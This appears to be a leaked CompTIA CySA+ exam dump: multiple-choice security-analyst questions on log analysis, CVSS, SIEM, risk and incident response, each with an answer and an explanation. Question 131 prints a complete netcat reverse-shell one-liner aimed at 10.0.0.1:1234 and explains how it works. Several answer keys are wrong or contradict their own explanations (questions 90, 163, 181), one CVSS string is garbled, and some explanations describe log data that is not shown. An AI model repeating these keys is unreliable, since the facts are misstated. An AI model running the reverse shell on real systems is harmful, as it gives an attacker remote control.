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Indicators of compromise (IoCs) are pieces of data or evidence that suggest a system or network has been compromised by an attacker or malware. IoCs can
include IP addresses, domain names, URLs, file hashes, registry keys, network traffic patterns, user behaviors, or system anomalies. IoCs can be used to detect,
analyze, and respond to security incidents, as well as to share threat intelligence with other organizations or authorities. IoCs can produce the data needed for an
executive briefing on possible threats to the organization, as they can provide information on the source, nature, scope, impact, and mitigation of the threats.

NEW QUESTION 90
A systems analyst is limiting user access to system configuration keys and values in a Windows environment. Which of the following describes where the analyst
can find these configuration items?

A. confi
B. ini
C. ntds.dit
D. Master boot record
E. Registry

Answer: D

Explanation:
The correct answer is D. Registry.
The registry is a database that stores system configuration keys and values in a Windows environment. The registry contains information about the hardware,
software, users, and preferences of the system. The registry can be accessed and modified using the Registry Editor tool (regedit.exe) or the command-line tool
(reg.exe). The registry is organized into five main sections, called hives, which are further divided into subkeys and values.
The other options are not the best descriptions of where the analyst can find system configuration keys and values in a Windows environment. config.ini (A) is a file
that stores configuration settings for some applications, but it is not a database that stores system configuration keys and values. ntds.dit (B) is a file that stores the
Active Directory data for a domain controller, but it is not a database that stores system configuration keys and values. Master boot record © is a section of the
hard disk that contains information about the partitions and the boot loader, but it is not a database that stores system configuration keys and values.

NEW QUESTION 92
During the log analysis phase, the following suspicious command is detected-

Which of the following is being attempted?

A. Buffer overflow
B. RCE
C. ICMP tunneling
D. Smurf attack

Answer: B

Explanation:
RCE stands for remote code execution, which is a type of attack that allows an attacker to execute arbitrary commands on a target system. The suspicious
command in the question is an example of RCE, as it tries to download and execute a malicious file from a remote server using the wget and chmod commands. A
buffer overflow is a type of vulnerability that occurs when a program writes more data to a memory buffer than it can hold, potentially overwriting other memory
locations and corrupting the program’s execution. ICMP tunneling is a technique that uses ICMP packets to encapsulate and transmit data that would normally be
blocked by firewalls or filters. A smurf attack is a type of DDoS attack that floods a network with ICMP echo requests, causing all devices on the network to reply
and generate a large amount of traffic. Verified References: What Is Buffer Overflow? Attacks, Types & Vulnerabilities - Fortinet1, What Is a Smurf Attack? Smurf
DDoS Attack | Fortinet2, exploit - Interpreting CVE ratings: Buffer Overflow vs. Denial of
…3

NEW QUESTION 95
Following an incident, a security analyst needs to create a script for downloading the configuration of all assets from the cloud tenancy. Which of the following
authentication methods should the analyst use?

A. MFA
B. User and password
C. PAM
D. Key pair

Answer: D

Explanation:
Key pair authentication is a method of using a public and private key to securely access cloud resources, such as downloading the configuration of assets from a
cloud tenancy. Key pair authentication is more secure than user and password or PAM, and does not require an additional factor like MFA.
References: Authentication Methods - Configuring Tenant-Wide Settings in Azure …, Cloud Foundation - Oracle Help Center

NEW QUESTION 100

Given the following CVSS string- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/3:U/C:K/I:K/A:H
Which of the following attributes correctly describes this vulnerability?

A. A user is required to exploit this vulnerability.

B. The vulnerability is network based.
C. The vulnerability does not affect confidentiality.
D. The complexity to exploit the vulnerability is high.

Answer: B

Explanation:

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The vulnerability is network based is the correct attribute that describes this vulnerability, as it can be inferred from the CVSS string. CVSS stands for Common
Vulnerability Scoring System, which is a framework that assigns numerical scores and ratings to vulnerabilities based on their characteristics and severity. The
CVSS string consists of several metrics that define different aspects of the vulnerability, such as the attack vector, the attack complexity, the privileges required,
the user interaction, the scope, and the impact on confidentiality, integrity and availability. The first metric in the CVSS string is the attack vector (AV), which
indicates how the vulnerability can be exploited. The value of AV in this case is N, which stands for network. This means that the vulnerability can be exploited
remotely over a network connection, without physical or logical access to the target system. Therefore, the vulnerability is network based. Official References:
? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives
? https://www.comptia.org/certifications/cybersecurity-analyst
? https://packitforwarding.com/index.php/2019/01/10/comptia-cysa-common-vulnerability-scoring-system-cvss/

NEW QUESTION 102

Each time a vulnerability assessment team shares the regular report with other teams, inconsistencies regarding versions and patches in the existing infrastructure
are discovered. Which of the following is the best solution to decrease the inconsistencies?

A. Implementing credentialed scanning

B. Changing from a passive to an active scanning approach
C. Implementing a central place to manage IT assets
D. Performing agentless scanning

Answer: C

Explanation:
Implementing a central place to manage IT assets is the best solution to decrease the inconsistencies regarding versions and patches in the existing infrastructure.
A central place to manage IT assets, such as a configuration management database (CMDB), can help the vulnerability assessment team to have an accurate and
up-to-date inventory of all the hardware and software components in the network, as well as their relationships and dependencies. A CMDB can also track the
changes and updates made to the IT assets, and provide a single source of truth for the vulnerability assessment team and other teams to compare and verify the
versions and patches of the infrastructure12. Implementing credentialed scanning, changing from a passive to an active scanning approach, and performing
agentless scanning are all methods to improve the vulnerability scanning process, but they do not address the root cause of the inconsistencies, which is the lack
of a central place to manage IT assets3. References: What is a Configuration Management Database (CMDB)?, How to Use a CMDB to Improve Vulnerability
Management, Vulnerability Scanning Best Practices

NEW QUESTION 107

A disgruntled open-source developer has decided to sabotage a code repository with a logic bomb that will act as a wiper. Which of the following parts of the Cyber
Kill Chain does this act exhibit?

A. Reconnaissance
B. Weaponization
C. Exploitation
D. Installation

Answer: B

Explanation:
Weaponization is the stage of the Cyber Kill Chain where the attacker creates or modifies a
malicious payload to use against a target. In this case, the disgruntled open-source developer has created a logic bomb that will act as a wiper, which is a type of
malware that destroys data on a system. This is an example of weaponization, as the developer has prepared a cyberweapon to sabotage the code repository.
References: The answer was based on the web search results from Bing, especially the following sources:
? Cyber Kill Chain® | Lockheed Martin, which states: “In the weaponization step, the
adversary creates remote access malware weapon, such as a virus or worm, tailored to one or more vulnerabilities.”
? The Cyber Kill Chain: The Seven Steps of a Cyberattack - EC-Council, which
states: “In the weaponization stage, all of the attacker’s preparatory work culminates in the creation of malware to be used against an identified target.”
? What is the Cyber Kill Chain? Introduction Guide - CrowdStrike, which states:
“Weaponization: The attacker creates a malicious payload that will be delivered to the target.”

NEW QUESTION 108

A vulnerability management team is unable to patch all vulnerabilities found during their weekly scans. Using the third-party scoring system described below, the
team patches the most urgent vulnerabilities:

Additionally, the vulnerability management team feels that the metrics Smear and Channing are less important than the others, so these will be lower in priority.
Which of the following vulnerabilities should be patched first, given the above third-party scoring system?

A. InLoud: Cobain: Yes Grohl: No Novo: Yes Smear: Yes Channing: No B.TSpirit: Cobain: Yes Grohl: Yes Novo: Yes Smear: No Channing: No C.ENameless:
Cobain: Yes Grohl: No Novo: Yes Smear: No Channing: No D.PBleach: Cobain: Yes Grohl: No Novo: No Smear: No Channing: Yes

Answer: B

Explanation:

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The vulnerability that should be patched first, given the above third-party scoring system, is:
TSpirit: Cobain: Yes Grohl: Yes Novo: Yes Smear: No Channing: No
This vulnerability has three out of five metrics marked as Yes, which indicates a high severity level. The metrics Cobain, Grohl, and Novo are more important than
Smear and Channing, according to the vulnerability management team. Therefore, this vulnerability poses a greater risk than the other vulnerabilities and should
be patched first.

NEW QUESTION 113

A team of analysts is developing a new internal system that correlates information from a variety of sources analyzes that information, and then triggers
notifications according to company policy Which of the following technologies was deployed?

A. SIEM
B. SOAR
C. IPS
D. CERT

Answer: A

Explanation:
SIEM (Security Information and Event Management) technology aggregates and analyzes activity from many different resources across your IT infrastructure. The
description of correlating information from various sources and triggering notifications aligns with the capabilities of a SIEM system.

NEW QUESTION 118

A managed security service provider is having difficulty retaining talent due to an increasing workload caused by a client doubling the number of devices connected
to the network.
Which of the following would best aid in decreasing the workload without increasing staff?

A. SIEM
B. XDR
C. SOAR
D. EDR

Answer: C

Explanation:
SOAR stands for Security Orchestration, Automation and Response, which is a set of features that can help security teams manage, prioritize and respond to
security incidents more efficiently and effectively. SOAR can help decrease the workload without increasing staff by automating repetitive tasks, streamlining
workflows, integrating different tools and platforms, and providing actionable insights and recommendations. SOAR is also one of the current trends that CompTIA
CySA+ covers in its exam objectives. Official References:
? https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered
? https://www.comptia.org/certifications/cybersecurity-analyst
? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002- exam-objectives

NEW QUESTION 120

During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application. Which of the following recommendations would best
mitigate this problem if applied along the SDLC phase?

A. Conduct regular red team exercises over the application in production

B. Ensure that all implemented coding libraries are regularly checked
C. Use application security scanning as part of the pipeline for the CI/CDflow
D. Implement proper input validation for any data entry form

Answer: C

Explanation:
Application security scanning is a process that involves testing and analyzing applications for security vulnerabilities, such as injection flaws, broken
authentication, cross-site scripting, and insecure configuration. Application security scanning can help identify and fix security issues before they become
exploitable by attackers. Using application security scanning as part of the pipeline for the continuous integration/continuous delivery (CI/CD) flow can help mitigate
the problem of finding the same vulnerabilities in a critical application during security scanning. This is because application security scanning can be integrated into
the development lifecycle and performed automatically and frequently as part of the CI/CD process.

NEW QUESTION 122

An analyst is conducting monitoring against an authorized team that win perform adversarial techniques. The analyst interacts with the team twice per day to set
the stage for the techniques to be used. Which of the following teams is the analyst a member of?

A. Orange team
B. Blue team
C. Red team
D. Purple team

Answer: A

Explanation:
The correct answer is A. Orange team.
An orange team is a team that is involved in facilitation and training of other teams in cybersecurity. An orange team assists the yellow team, which is the
management or leadership team that oversees the cybersecurity strategy and governance of an organization. An orange team helps the yellow team to understand
the cybersecurity risks and challenges, as well as the roles and responsibilities of other teams, such as the red, blue, and purple teams12.
In this scenario, the analyst is conducting monitoring against an authorized team that will perform adversarial techniques. This means that the analyst is observing
and evaluating the performance of another team that is simulating real-world attacks against the organization’s systems or networks. This could be either a red
team or a purple team, depending on whether they are working independently or collaboratively with the defensive team345.

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The analyst interacts with the team twice per day to set the stage for the techniques to be used. This means that the analyst is providing guidance and feedback to
the team on how to conduct their testing and what techniques to use. This could also involve setting up scenarios, objectives, rules of engagement, and success
criteria for the testing. This implies that the analyst is facilitating and training the team to improve their skills and capabilities in cybersecurity12.
Therefore, based on these descriptions, the analyst is a member of an orange team, which is involved in facilitation and training of other teams in cybersecurity.
The other options are incorrect because they do not match the role and function of the analyst in this scenario.
Option B is incorrect because a blue team is a defensive security team that monitors and protects the organization’s systems and networks from real or simulated
attacks. A blue team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather defends against them345.
Option C is incorrect because a red team is an offensive security team that discovers and exploits vulnerabilities in the organization’s systems or networks by
simulating real-world attacks. A red team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather performs
them345.
Option D is incorrect because a purple team is not a separate security team, but rather a collaborative approach between the red and blue teams to improve the
organization’s overall security. A purple team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather works
with them345.
References:
? 1 Infosec Color Wheel & The Difference Between Red & Blue Teams
? 2 The colors of cybersecurity - UW–Madison Information Technology
? 3 Red Team vs. Blue Team vs. Purple Team Compared - U.S. Cybersecurity
? 4 Red Team vs. Blue Team vs. Purple Team: What’s The Difference? | Varonis
? 5 Red, blue, and purple teams: Cybersecurity roles explained | Pluralsight Blog

NEW QUESTION 123

While configuring a SIEM for an organization, a security analyst is having difficulty correlating incidents across different systems. Which of the following should be
checked first?

A. If appropriate logging levels are set

B. NTP configuration on each system
C. Behavioral correlation settings
D. Data normalization rules

Answer: B

Explanation:
The NTP configuration on each system should be checked first, as it is essential for ensuring accurate and consistent time stamps across different systems. NTP
is the Network Time Protocol, which is used to synchronize the clocks of computers over a network. NTP uses a hierarchical system of time sources, where each
level is assigned a stratum number. The most accurate time sources, such as atomic clocks or GPS receivers, are at stratum 0, and the devices that synchronize
with them are at stratum 1, and so on. NTP clients can query multiple NTP servers and use algorithms to select the best time source and adjust their clocks
accordingly1. If the NTP configuration is not consistent or correct on each system, the time stamps of the logs and events may differ, making it difficult to correlate
incidents across different systems. This can affect the security analysis and correlation of events, as well as the compliance and auditing of the network23.
References: How the Windows Time Service Works, Time Synchronization - All You Need To Know, What is SIEM? | Microsoft Security

NEW QUESTION 126

A cybersecurity analyst notices unusual network scanning activity coming from a country that the company does not do business with. Which of the following is the
best mitigation technique?

A. Geoblock the offending source country

B. Block the IP range of the scans at the network firewall.
C. Perform a historical trend analysis and look for similar scanning activity.
D. Block the specific IP address of the scans at the network firewall

Answer: A

Explanation:
Geoblocking is the best mitigation technique for unusual network scanning activity coming from a country that the company does not do business with, as it can
prevent any potential attacks or data breaches from that country. Geoblocking is the practice of restricting access to websites or services based on geographic
location, usually by blocking IP addresses associated with a certain country or region. Geoblocking can help reduce the overall attack surface and protect against
malicious actors who may be trying to exploit vulnerabilities or steal information. The other options are not as effective as geoblocking, as they may not block all
the possible sources of the scanning activity, or they may not address the root cause of the problem. Official References:
? https://www.blumira.com/geoblocking/
? https://www.avg.com/en/signal/geo-blocking

NEW QUESTION 128

An analyst views the following log entries:

The organization has a partner vendor with hosts in the 216.122.5.x range. This partner vendor is required to have access to monthly reports and is the only
external vendor with authorized access. The organization prioritizes incident investigation according to the following hierarchy: unauthorized data disclosure is
more critical than denial of service attempts.
which are more important than ensuring vendor data access.
Based on the log files and the organization's priorities, which of the following hosts warrants additional investigation?

A. 121.19.30.221
B. 134.17.188.5
C. 202.180.1582
D. 216.122.5.5

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Answer: A

Explanation:
The correct answer is A. 121.19.30.221.
Based on the log files and the organization’s priorities, the host that warrants additional investigation is 121.19.30.221, because it is the only host that accessed a
file containing sensitive data and is not from the partner vendor’s range.
The log files show the following information:
? The IP addresses of the hosts that accessed the web server
? The date and time of the access
? The file path of the requested resource
? The number of bytes transferred
The organization’s priorities are:
? Unauthorized data disclosure is more critical than denial of service attempts
? Denial of service attempts are more important than ensuring vendor data access According to these priorities, the most serious threat to the organization is
unauthorized data disclosure, which occurs when sensitive, protected, or confidential data is copied, transmitted, viewed, stolen, altered, or used by an individual
unauthorized to do so123. Therefore, the host that accessed a file containing sensitive data and is not from the partner vendor’s range poses the highest risk to
the organization.
The file that contains sensitive data is /reports/2023/financials.pdf, as indicated by its name and path. This file was accessed by two hosts: 121.19.30.221 and
216.122.5.5. However, only 121.19.30.221 is not from the partner vendor’s range, which is 216.122.5.x. Therefore, 121.19.30.221 is a potential unauthorized data
disclosure threat and warrants additional investigation.
The other hosts do not warrant additional investigation based on the log files and the organization’s priorities.
Host 134.17.188.5 accessed /index.html multiple times in a short period of time, which could indicate a denial of service attempt by flooding the web server with
requests45. However, denial of service attempts are less critical than unauthorized data disclosure according to the organization’s priorities, and there is no
evidence that this host succeeded in disrupting the web server’s normal operations.
Host 202.180.1582 accessed /images/logo.png once, which does not indicate any malicious activity or threat to the organization.
Host 216.122.5.5 accessed /reports/2023/financials.pdf once, which could indicate unauthorized data disclosure if it was not authorized to do so. However, this
host is from the partner vendor’s range, which is required to have access to monthly reports and is the only external vendor with authorized access according to
the organization’s requirements. Therefore, based on the log files and the organization’s priorities, host 121.19.30.221 warrants additional investigation as it
poses the highest risk of unauthorized data disclosure to the organization.

NEW QUESTION 131

A security analyst detected the following suspicious activity:
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f Which of the following most likely describes the activity?

A. Network pivoting
B. Host scanning
C. Privilege escalation
D. Reverse shell

Answer: D

Explanation:
The command rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f is a one-liner that creates a reverse shell from the target machine to
the attacker’s machine. It does the following steps:
•rm -f /tmp/f deletes any existing file named /tmp/f
•mknod /tmp/f p creates a named pipe (FIFO) file named /tmp/f
•cat /tmp/f|/bin/sh -i 2>&1 reads from the pipe and executes the commands using /bin/sh in interactive mode, redirecting the standard error to the standard output
•nc 10.0.0.1 1234 > tmp/f connects to the attacker’s machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe
This way, the attacker can send commands to the target machine and receive the output through the netcat connection, effectively creating a reverse shell.
References Hack the Galaxy
Reverse Shell Cheat Sheet

NEW QUESTION 135

A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?

A. Testing
B. Implementation
C. Validation
D. Rollback

Answer: C

Explanation:
The next step in the remediation process after applying a software patch is validation. Validation is a process that involves verifying that the patch has been
successfully applied, that it has fixed the vulnerability, and that it has not caused any adverse effects on the system or application functionality or performance.
Validation can be done using various methods, such as scanning, testing, monitoring, or auditing.

NEW QUESTION 136

Which of the following best describes the threat concept in which an organization works to ensure that all network users only open attachments from known
sources?

A. Hacktivist threat
B. Advanced persistent threat
C. Unintentional insider threat
D. Nation-state threat

Answer: C

Explanation:
An unintentional insider threat is a type of network security threat that occurs when a legitimate user of the network unknowingly exposes the network to malicious

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activity, such as opening a phishing email or a malware-infected attachment from an unknown source. This can compromise the network security and allow
attackers to access sensitive data or systems. The other options are not related to the threat concept of ensuring that all network users only open attachments
from known sources.
ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 1: Threat and Vulnerability Management, page 13.What is Network Security |
Threats, Best Practices
| Imperva, Network Security Threats and Attacks, Phishing section.Five Ways to Defend Against Network Security Threats, 2. Use Firewalls section.

NEW QUESTION 139

An organization enabled a SIEM rule to send an alert to a security analyst distribution list when ten failed logins occur within one minute. However, the control was
unable to detect an attack with nine failed logins. Which of the following best represents what occurred?

A. False positive
B. True negative
C. False negative
D. True positive

Answer: C

Explanation:
The correct answer is C. False negative.
A false negative is a situation where an attack or a threat is not detected by a security control, even though it should have been. In this case, the SIEM rule was
unable to detect an attack with nine failed logins, which is below the threshold of ten failed logins that triggers an alert. This means that the SIEM rule missed a
potential attack and failed to alert the security analysts, resulting in a false negative.
A false positive is a situation where a benign or normal activity is detected as an attack or a threat by a security control, even though it is not. A true negative is a
situation where a benign or normal activity is not detected as an attack or a threat by a security control, as expected. A true positive is a situation where an attack
or a threat is detected by a security control, as expected. These are not the correct answers for this question.

NEW QUESTION 144

An analyst needs to provide recommendations based on a recent vulnerability scan:

Which of the following should the analyst recommend addressing to ensure potential vulnerabilities are identified?

A. SMB use domain SID to enumerate users

B. SYN scanner
C. SSL certificate cannot be trusted
D. Scan not performed with admin privileges

Answer: D

Explanation:
This is because scanning without admin privileges can limit the scope and accuracy of the vulnerability scan, and potentially miss some critical vulnerabilities that
require higher privileges to detect. According to the OWASP Vulnerability Management Guide1, “scanning without administrative privileges will result in a large
number of false negatives and an incomplete scan”. Therefore, the analyst should recommend addressing this issue to ensure potential vulnerabilities are
identified.

NEW QUESTION 146

After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security Officer (CISO) decided the risk score would be too high.
The CISO refused the software request. Which of the following risk management principles did the CISO select?

A. Avoid
B. Transfer
C. Accept
D. Mitigate

Answer: A

Explanation:
Avoid is a risk management principle that describes the decision or action of not engaging in an activity or accepting a risk that is deemed too high or
unacceptable. Avoiding a risk can eliminate the possibility or impact of the risk, as well as the need for any further risk management actions. In this case, the CISO
decided the risk score would be too high and refused the software request. This indicates that the CISO selected the avoid principle for risk management.

NEW QUESTION 151

A SIEM alert is triggered based on execution of a suspicious one-liner on two workstations in the organization's environment. An analyst views the details of these
events below:

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Which of the following statements best describes the intent of the attacker, based on this one-liner?

A. Attacker is escalating privileges via JavaScript.

B. Attacker is utilizing custom malware to download an additional script.
C. Attacker is executing PowerShell script "AccessToken.psr.
D. Attacker is attempting to install persistence mechanisms on the target machine.

Answer: B

Explanation:
The one-liner script is utilizing JavaScript to execute a PowerShell command that downloads and runs a script from an external source, indicating the use of
custom malware to download an additional script. ReferencesC: ompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and
Monitoring, page 156.

NEW QUESTION 155

Which of the following would eliminate the need for different passwords for a variety or internal application?

A. CASB
B. SSO
C. PAM
D. MFA

Answer: B

Explanation:
Single Sign-On (SSO) allows users to log in with a single ID and password to access multiple applications. It eliminates the need for different passwords for
various internal applications, streamlining the authentication process.

NEW QUESTION 158

Which of the following risk management principles is accomplished by purchasing cyber insurance?

A. Accept
B. Avoid
C. Mitigate
D. Transfer

Answer: D

Explanation:
Transfer is the risk management principle that is accomplished by purchasing cyber insurance. Transfer is a strategy that involves shifting the risk or its
consequences to another party, such as an insurance company, a vendor, or a partner. Transfer does not eliminate the risk, but it reduces the potential impact or
liability of the risk for the original party. Cyber insurance is a type of insurance that covers the losses and damages resulting from cyberattacks, such as data
breaches, ransomware, denial-of-service attacks, or network disruptions. Cyber insurance can help transfer the risk of cyber incidents by providing financial
compensation, legal assistance, or recovery services to the insured party. Official References:
? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives
? https://www.comptia.org/certifications/cybersecurity-analyst
? https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your- questions-answered

NEW QUESTION 163

A security analyst is trying to detect connections to a suspicious IP address by collecting the packet captures from the gateway. Which of the following commands
should the security analyst consider running?

A. grep [IP address] packets.pcapB cat packets.pcap | grep [IP Address]

B. tcpdump -n -r packets.pcap host [IP address]
C. strings packets.pcap | grep [IP Address]

Answer: C

Explanation:
tcpdump is a command-line tool that can capture and analyze network packets from a given interface or file. The -n option prevents tcpdump from resolving
hostnames, which can speed up the analysis. The -r option reads packets from a file, in this case packets.pcap. The host [IP address] filter specifies that tcpdump
should only display packets that have the given IP address as either the source or the destination. This command can help the security analyst detect connections
to a suspicious IP address by collecting the packet captures from the gateway. Official References:
? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives
? https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test- questions-with-answers
? https://www.reddit.com/r/CompTIA/comments/tmxx84/passed_cysa_heres_my_experience_and_how_i_studied/

NEW QUESTION 165

A company's security team is updating a section of the reporting policy that pertains to inappropriate use of resources (e.g., an employee who installs cryptominers
on workstations in the office). Besides the security team, which of the following groups should the issue be escalated to first in order to comply with industry best
practices?

A. Help desk
B. Law enforcement

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C. Legal department
D. Board member

Answer: C

Explanation:
The correct answer is C. Legal department.
According to the CompTIA Cybersecurity Analyst (CySA+) certification exam objectives, one of the tasks for a security analyst is to “report and escalate security
incidents to appropriate stakeholders and authorities” 1. This includes reporting any inappropriate use of resources, such as installing cryptominers on
workstations, which may violate the company’s policies and cause financial and reputational damage. The legal department is the most appropriate group to
escalate this issue to first, as they can advise on the legal implications and actions that can be taken against the employee. The legal department can also
coordinate with other groups, such as law enforcement, help desk, or board members, as needed. The other options are not the best choices to escalate the issue
to first, as they may not have the authority or expertise to handle the situation properly.

NEW QUESTION 169

Which of the following is the most important factor to ensure accurate incident response reporting?

A. A well-defined timeline of the events

B. A guideline for regulatory reporting
C. Logs from the impacted system
D. A well-developed executive summary

Answer: A

Explanation:
A well-defined timeline of the events is the most important factor to ensure accurate incident response reporting, as it provides a clear and chronological account
of what happened, when it happened, who was involved, and what actions were taken. A timeline helps to identify the root cause of the incident, the impact and
scope of the damage, the effectiveness of the response, and the lessons learned for future improvement. A timeline also helps to communicate the incident to
relevant stakeholders, such as management, legal, regulatory, or media entities. The other factors are also important for incident response reporting, but they are
not as essential as a well-defined timeline. Official References:
? https://www.ibm.com/topics/incident-response
? https://www.crowdstrike.com/cybersecurity-101/incident-response/incident- response-steps/

NEW QUESTION 171

Due to an incident involving company devices, an incident responder needs to take a mobile phone to the lab for further investigation. Which of the following tools
should be used to maintain the integrity of the mobile phone while it is transported? (Select two).

A. Signal-shielded bag
B. Tamper-evident seal
C. Thumb drive
D. Crime scene tape
E. Write blocker
F. Drive duplicator

Answer: AB

Explanation:
A signal-shielded bag and a tamper-evident seal are tools that can be used to maintain the integrity of the mobile phone while it is transported. A signal-shielded
bag prevents the phone from receiving or sending any signals that could compromise the data or evidence on the device. A tamper-evident seal ensures that the
phone has not been opened or altered during the transportation. ReferencesM: obile device forensics, Section: Acquisition

NEW QUESTION 172

An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network. Which of
the following should the CSIRT conduct next?

A. Take a snapshot of the compromised server and verify its integrity

B. Restore the affected server to remove any malware
C. Contact the appropriate government agency to investigate
D. Research the malware strain to perform attribution

Answer: A

Explanation:
The next action that the CSIRT should conduct after isolating the compromised server from the network is to take a snapshot of the compromised server and
verify its integrity. Taking a snapshot of the compromised server involves creating an exact copy or image of the server’s data and state at a specific point in time.
Verifying its integrity involves ensuring that the snapshot has not been altered, corrupted, or tampered with during or after its creation. Taking a snapshot and
verifying its integrity can help preserve and protect any evidence or information related to the incident, as well as prevent any tampering, contamination, or
destruction of evidence.

NEW QUESTION 177

A technician is analyzing output from a popular network mapping tool for a PCI audit:

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Which of the following best describes the output?

A. The host is not up or responding.

B. The host is running excessive cipher suites.
C. The host is allowing insecure cipher suites.
D. The Secure Shell port on this host is closed

Answer: C

Explanation:
The output shows the result of running the ssl-enum-ciphers script with Nmap, which is a tool that can scan web servers for supported SSL/TLS cipher suites.
Cipher suites are combinations of cryptographic algorithms that are used to establish secure communication between a client and a server. The output shows the
cipher suites that are supported by the server, along with a letter grade (A through F) indicating the strength of the connection. The output also shows the least
strength, which is the strength of the weakest cipher offered by the server. In this case, the least strength is F, which means that the server is allowing insecure
cipher suites that are vulnerable to attacks or have been deprecated. For example, the output shows that the server supports SSLv3, which is an outdated and
insecure protocol that is susceptible to the POODLE attack. The output also shows that the server supports RC4, which is a weak and broken stream cipher that
should not be used. Therefore, the best description of the output is that the host is allowing insecure cipher suites. The other descriptions are not accurate, as they
do not reflect what the output shows. The host is not up or responding is incorrect, as the output clearly shows that the host is up and responding to the scan. The
host is running excessive cipher suites is incorrect, as the output does not indicate how many cipher suites the host is running, only which ones it supports. The
Secure Shell port on this host is closed is incorrect, as the output does not show anything about port 22, which is the default port for Secure Shell (SSH). The
output only shows information about port 443, which is the default port for HTTPS.

NEW QUESTION 180

A security analyst has found the following suspicious DNS traffic while analyzing a packet capture:
• DNS traffic while a tunneling session is active.
• The mean time between queries is less than one second.
• The average query length exceeds 100 characters. Which of the following attacks most likely occurred?

A. DNS exfiltration
B. DNS spoofing
C. DNS zone transfer
D. DNS poisoning

Answer: A

Explanation:
DNS exfiltration is a technique that uses the DNS protocol to transfer data from a compromised network or device to an attacker-controlled server. DNS exfiltration
can bypass firewall rules and security products that do not inspect DNS traffic. The characteristics of the suspicious DNS traffic in the question match the indicators
of DNS exfiltration, such as:
? DNS traffic while a tunneling session is active: This implies that the DNS protocol
is being used to create a covert channel for data transfer.
? The mean time between queries is less than one second: This implies that the DNS queries are being sent at a high frequency to maximize the amount of data
transferred.
? The average query length exceeds 100 characters: This implies that the DNS queries are encoding large amounts of data in the subdomains or other fields of the

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DNS packets.
Official References:
? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002- exam-objectives
? https://resources.infosecinstitute.com/topic/bypassing-security-products-via-dns-data-exfiltration/
? https://www.reddit.com/r/CompTIA/comments/nvjuzt/dns_exfiltration_explanation/

NEW QUESTION 181

A cryptocurrency service company is primarily concerned with ensuring the accuracy of the data on one of its systems. A security analyst has been tasked with
prioritizing vulnerabilities for remediation for the system. The analyst will use the following CVSSv3.1 impact metrics for prioritization:

Which of the following vulnerabilities should be prioritized for remediation?

A. 1
B. 2
C. 3
D. 4

Answer: B

Explanation:
Vulnerability 2 has the highest impact metrics, specifically the highest attack vector (AV) and attack complexity (AC) values. This means that the vulnerability is
more likely to be exploited and more difficult to remediate.
References:
? CVSS v3.1 Specification Document, section 2.1.1 and 2.1.2
? The CVSS v3 Vulnerability Scoring System, section 3.1 and 3.2

NEW QUESTION 184

An attacker has just gained access to the syslog server on a LAN. Reviewing the syslog entries has allowed the attacker to prioritize possible next targets. Which
of the following is this an example of?

A. Passive network foot printing

B. OS fingerprinting
C. Service port identification
D. Application versioning

Answer: A

Explanation:
Passive network foot printing is the best description of the example, as it reflects the technique of collecting information about a network or system by monitoring
or sniffing network traffic without sending any packets or interacting with the target. Foot printing is a term that refers to the process of gathering information about
a target network or system, such as its IP addresses, open ports, operating systems, services, or vulnerabilities. Foot printing can be done for legitimate purposes,
such as penetration testing or auditing, or for malicious purposes, such as reconnaissance or intelligence gathering. Foot printing can be classified into two types:
active and passive. Active foot printing involves sending packets or requests to the target and analyzing the responses, such as using tools like ping, traceroute, or
Nmap. Active foot printing can provide more accurate and detailed information, but it can also be detected by firewalls or intrusion detection systems (IDS).
Passive foot printing involves observing or capturing network traffic without sending any packets or requests to the target, such as using tools like tcpdump,
Wireshark, or Shodan. Passive foot printing can provide less information, but it can also avoid detection by firewalls or IDS. The example in the question shows
that the attacker has gained access to the syslog server on a LAN and reviewed the syslog entries to prioritize possible next targets. A syslog server is a server
that collects and stores log messages from various devices or applications on a network. A syslog entry is a record of an event or activity that occurred on a device
or application, such as an error, a warning, or an alert. By reviewing the syslog entries, the attacker can obtain information about the network or system, such as its
configuration, status, performance, or security issues. This is an example of passive network foot printing, as the attacker is not sending any packets or requests to
the target, but rather observing or capturing network traffic from the syslog server. The other options are not correct, as they describe different techniques or
concepts.
OS fingerprinting is a technique of identifying the operating system of a target by analyzing its responses to certain packets or requests, such as using tools like
Nmap or Xprobe2. OS fingerprinting can be done actively or passively, but it is not what the attacker is doing in the example. Service port identification is a
technique of identifying the services running on a target by scanning its open ports and analyzing its responses to certain packets or requests, such as using tools
like Nmap or Netcat. Service port identification can be done actively or passively, but it is not what the attacker is doing in the example. Application versioning is a
concept that refers to the process of assigning unique identifiers to different versions of an application, such as using numbers, letters, dates, or names.
Application versioning can help to track changes, updates, bugs, or features of an application, but it is not related to what the attacker is doing in the example.

NEW QUESTION 188

A security analyst detects an email server that had been compromised in the internal network. Users have been reporting strange messages in their email inboxes
and unusual network traffic. Which of the following incident response steps should be performed next?

A. Preparation
B. Validation
C. Containment
D. Eradication

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Answer: C

Explanation:
After detecting a compromised email server and unusual network traffic, the next step in incident response is containment, to prevent further damage or spread of
the compromise. ReferencesC: ompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5: Incident Response, page 197.

NEW QUESTION 193

